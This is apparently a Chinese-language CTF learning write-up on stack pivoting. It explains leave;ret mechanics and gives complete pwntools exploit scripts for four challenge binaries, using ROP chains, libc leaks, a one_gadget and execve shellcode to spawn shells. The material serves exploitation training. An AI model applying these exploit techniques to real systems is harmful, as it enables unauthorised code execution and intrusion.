0%

栈迁移

前言

为什么要栈迁移?

​ 我的理解是由于输入字节的限制,我们没有办法在覆盖返回地址后继续写入我们构造的后门代码让程序执行。那现在怎么办呢,幸好我们有leave ; ret这两个指令(leave指令相当于mov esp,ebp ; pop ebp这两条指令,而执行ret指令就是pop eipeip是一个指令指针,装的是下一条指令的地址),执行两次leave ; ret指令可以控制程序的执行流到ebp指向内存单元,即我们构造的用于拿到shell的代码地址。

​ 这两张图是两次执行leave ; ret指令的过程,我觉得师父已经解释得很详细了。

img

img

例题

ciscn_2019_es_2(栈上)

思路

​ 先泄漏一个地址,由于printf遇见\x00截断,那么我们恰好填充0x28个字节,就会把ebp指向的地址泄漏出来。构造第一个payload = b'a'*0x20+b'b'*0x8

payload = b'a'*0x20+b'b'*0x8
p.recvuntil(b'name?\n')
p.send(payload)
#注意这里不能用sendline,因为我们需要恰好填充0x28个字节,sendline会多一个字节\n(换行符)
p.recvuntil(b'bbbbbbbb')
ebp = u32(p.recv(4))
print(hex(ebp))

这张图大概就是我们要布置的payload内容 image-20240124160536927

​ 算出ebp中的内容(因为泄漏出来的地址并不是ebp的地址,而是ebp指向的地址,即ebp中的内容)距离参数s的偏移量,gdb调试。下断点,下在vul函数,一直nread函数,输入aaaa正好4个字节,便于查看

image-20240124150654746

0xffffd044指向0xffffd050,我们写入的aaaa被放到了0xffffd050这个地址上,而ebp中放的是0xffffd088这个地址,0xffffd088 - 0xffffd050 = 0x38,因此ebp距离我们写入到s的位置的偏移量为0x38

image-20240124150842035

​ 程序中system函数的参数不是我们想要的,因此需要我们自己写入/bin/sh,那么问题又来了,我们怎么知道我们写入的/bin/sh被放到了哪个地址上?我们可以计算出这个地址到ebp的偏移量,然后就可以用我们泄漏出来的地址和偏移量去表示这个地址。那怎么计算偏移量呢?我们先构造一个payload = b'aaaa'+p32(system_plt)+p32(0)+p32(0)+b'/bin/sh',第二个p32(0)的位置应该是/bin/sh的地址,但是我们现在还不知道所以先随便用4个字节替代。

system_plt = elf.plt['system']
leave_ret_addr = 0x08048562
payload = (b'aaaa'+p32(system_plt)+p32(0)+p32(binsh_addr)+b'/bin/sh').ljust(0x28,b'\x00')
#先写入aaaa,到时候pop ebp就是把aaaa弹出了
payload += p32(stack_addr)
#这个地址是栈顶的地址,也就是我们payload中aaaa的地址,要用这个地址去覆盖ebp
payload += p32(leave_ret_addr)
p.sendline(payload)

gdb调试,先两次finish跳出两个函数,现在我们来到vul函数中,一直n经过两个read函数,stack 20查看栈上的内容。这里的0xff911f80就是存放/bin/sh的起始地址,0xff911fa8就是ebp指向的地址,即我们泄漏出来的地址,计算偏移量为0xff911fa8 - 0xff911f80 = 0x28,我们用可以ebp - 0x28表示/bin/sh的地址。

image-20240124155144311

exp

from pwn import *
#from tools import *
p = remote("node5.buuoj.cn",27242)
#p = process('./es2')
elf = ELF('./es2')
debug(p)

payload = b'a'*0x20+b'b'*0x8
p.recvuntil(b'name?\n')
p.send(payload)
p.recvuntil(b'bbbbbbbb')
ebp = u32(p.recv(4))
#print(hex(ebp))

binsh_addr = ebp-0x28
stack_addr = ebp-0x38
system_plt = elf.plt['system']
leave_ret_addr = 0x08048562
payload = (b'aaaa'+p32(system_plt)+p32(0)+p32(binsh_addr)+b'/bin/sh').ljust(0x28,b'\x00')
#先写入aaaa,到时候pop ebp就是把aaaa弹出了
payload += p32(stack_addr)
#这个地址是栈顶的地址,也就是我们payload中aaaa的地址,要用这个地址去覆盖ebp
payload += p32(leave_ret_addr)
p.sendline(payload)

p.interactive()

拿到flag

image-20240124190933737

[Black Watch 入群题]PWN.bss段)

思路

​ 程序中没有system函数和/bin/sh字符串,有write函数,需要我们字节泄漏libc地址。

image-20240125121010913

​ 看第二次read,可以读入0x20(32)个字节,覆盖buf需要0x18(24)个字节,覆盖ebp需要0x4(4)个字节,覆盖返回地址需要0x4(4)个字节,0x20(32)个字节刚好够用,只能栈迁移了。

image-20240125121711314

​ 现在大致思路就是第一次read把我们构造的泄漏libc代码写到.bss段,其中返回地址为main函数的地址也就是让我们程序再走一遍。第二次read覆盖ebp.bss段的地址,覆盖返回地址为leave ; ret指令的地址。程序跑第二次的时候把我们构造的拿shell的代码写到.bss段,第二次read同上。

exp

from pwn import *
#from tools import *
#p = process('./spwn')
p = remote("node5.buuoj.cn",27419)
#debug(p)
elf = ELF('./spwn')
libc = ELF('./libc-2.23.so')

write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.sym['main']
payload = b'aaaa'+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.recvuntil(b'name?')
p.sendline(payload)
p.recvuntil(b'say?')
s_addr = 0x0804A300
leave_ret_addr = 0x08048511
payload = b'a'*0x18+p32(s_addr)+p32(leave_ret_addr)
p.send(payload)

write_addr=u32(p.recv(4))
#print(hex(write_addr))
base_addr = write_addr-libc.sym['write']
system_addr = base_addr+libc.sym['system']
binsh_addr = base_addr+next(libc.search(b'/bin/sh'))
payload = b'aaaa'+p32(system_addr)+p32(0)+p32(binsh_addr)
p.recvuntil(b'name?')
p.sendline(payload)
p.recvuntil(b'say?')
payload = b'a'*0x18+p32(s_addr)+p32(leave_ret_addr)
p.send(payload)

p.interactive()

拿到flag

image-20240125130841168

gyctf_2020_borrowstack

思路

查看保护,只开了NX保护

image-20240206202551148

​ 分析函数,两次read第二次是写到.bss段。第一个read可以读入0x70(112)个字节,只能溢出16个字节,恰好可以覆盖返回地址。

int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[96]; // [rsp+0h] [rbp-60h] BYREF

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
puts(&s);
read(0, buf, 0x70uLL);
puts("Done!You can check and use your borrow stack now!");
read(0, &bank, 0x100uLL);
return 0;
}

​ 先泄漏libc,我们要用到栈迁移。第一次read我们先填充0x60个字节的垃圾数据,然后ebp中写入.bss段的地址(因为我们会把泄漏libcpayload写到.bss段),然后覆盖返回地址为leave ; ret的地址。

​ 这里有一点需要注意的就是,在写入泄漏地址的代码前要先用ret指令抬高栈帧(调用puts函数会开辟新的栈帧,会毁坏.bss段上面(低地址)的got表等数据)。

p.recvuntil(b'want')
bss_addr = 0x601080
leave_ret = 0x400699
payload = b'a'*0x60+p64(bss_addr)+p64(leave_ret)
p.send(payload)
p.recvuntil(b'now!')

ret = 0x4004c9
payload = p64(ret)*20 #至少需要20个ret
payload += p64(0x400703)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(elf.sym['main'])
p.send(payload)
p.recvline()
puts_addr = u64(p.recv(6).ljust(8,b'\x00'))
print('puts_addr -->',hex(puts_addr))

​ 然后我本来是想拿到system("/bin/sh")的地址后,再一次栈溢出,同上。但是一直打不通,后来看wp都是用one_gadget做的。

image-20240206213713266

​ 直接在第一次read时栈溢出,覆盖返回地址为one_gadget的地址即可。

base_addr = puts_addr-libc.sym['puts']
shell_addr = base_addr+0x4526a
payload = b'a'*(0x60+8)+p64(shell_addr)
p.send(payload)
p.sendline(b'a')

​ 因为我们覆盖的是main函数的返回地址,所以还需要再发送一些数据让执行流执行完第二个read函数,然后才能执行完mian函数,跳到我们覆盖的返回地址去执行后门函数。

exp

from pwn import *
#from tools import *
p = remote('node5.buuoj.cn',27820)
#p = process('./gyctf')
elf = ELF('./gyctf')
libc = ELF('./libc-2.23.so')
context.arch ='amd64'
#debug(p)

p.recvuntil(b'want')
bss_addr = 0x601080
leave_ret = 0x400699
payload = b'a'*0x60+p64(bss_addr)+p64(leave_ret)
p.send(payload)
p.recvuntil(b'now!')

ret = 0x4004c9
payload = p64(ret)*20
payload += p64(0x400703)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(elf.sym['main'])
p.send(payload)
p.recvline()
puts_addr = u64(p.recv(6).ljust(8,b'\x00'))
print('puts_addr -->',hex(puts_addr))

base_addr = puts_addr-libc.sym['puts']
shell_addr = base_addr+0x4526a
payload = b'a'*(0x60+8)+p64(shell_addr)
p.send(payload)
p.sendline(b'a')

p.interactive()

拿到flag

image-20240206212030568

pwn1

学习与收获

通过本题的学习与收获有:

  1. 溢出一个字节也是溢出,如果只能覆盖ebp的一个字节,此时我们要想到栈迁移。且当我们是在main函数里的再一个函数里的栈帧时,此时已经有2leave ; ret,不需要再写进leave ; ret
  2. 栈迁移中ret的时候,我们ret的是装shellcode的的地址,而不是shellcode本身。
  3. 如果我们需要抬高栈帧,可以填充ret指令的地址。

保护

image-20240324213348562

源码分析

有栈溢出漏洞和格式化字符串漏洞

image-20240324213659594

image-20240324213537358

思路

​ 没有开启NX堆栈不可执行保护,那我们就可以通过执行shellcode获得flag。先把shellcode布置到栈上,然后printf泄漏一个栈地址通过计算偏移得到shellcode的地址。

先泄漏一个栈地址

payload = b'%10$p'
p.sendline(payload)
p.recvuntil(b'following:')
p.recv(2)
stack = int(p.recv(14),16)

​ 又因为有一个栈溢出漏洞,可以覆盖ebp的最后一个字节,我们可以覆盖为我们布置rop链的地址的最后一个字节,以进行我们的栈迁移。

f_stack = stack-0x120+0x70 #stack是我们泄漏的一个栈地址
print(hex(f_stack))
one_byte = f_stack&0xff
print('one_byte ------>>',one_byte)
ret = 0x0000000000401016
payload = p64(ret)*12 #抬高栈帧,用ret指令抬高
payload+= p64(f_stack-8)+shellcode
#f_stack是shellcode的地址,-8是为了到时候第二个pop ebp时,弹出shellcode的地址的前一个内存单元中的内容(也就是f_stack-8这个数据),而不是弹出shellcode给ebp,然后ret(pop eip)就能弹出shellcode给eip
payload = (payload).ljust(0x100,b'\x00')+p8(one_byte-24)

exp

from tools import *
p = process('./pwn1')
debug(p,0x40140e,0x401327,0x4013ac)
context.arch='amd64'
elf = ELF('./pwn1')

shellcode = asm('''
mov rdi,0x68732f6e69622f
push rdi
push rsp
pop rdi
xor rsi,rsi
xor rdx,rdx
push 0x3b
pop rax
syscall
''')
print(len(shellcode))
p.sendline(str(2))
payload = b'%10$p'
p.sendline(payload)
p.recvuntil(b'following:')
p.recv(2)
stack = int(p.recv(14),16)
print(hex(stack))
f_stack = stack-0x120+0x70
print(hex(f_stack))
one_byte = f_stack&0xff
print('one_byte ------>>',one_byte)
p.sendline(str(1))
ret = 0x0000000000401016
payload = (p64(ret)*12+p64(f_stack+16-24)+shellcode).ljust(0x100,b'\x00')+p8(one_byte-0x18)
p.sendline(payload)

p.interactive()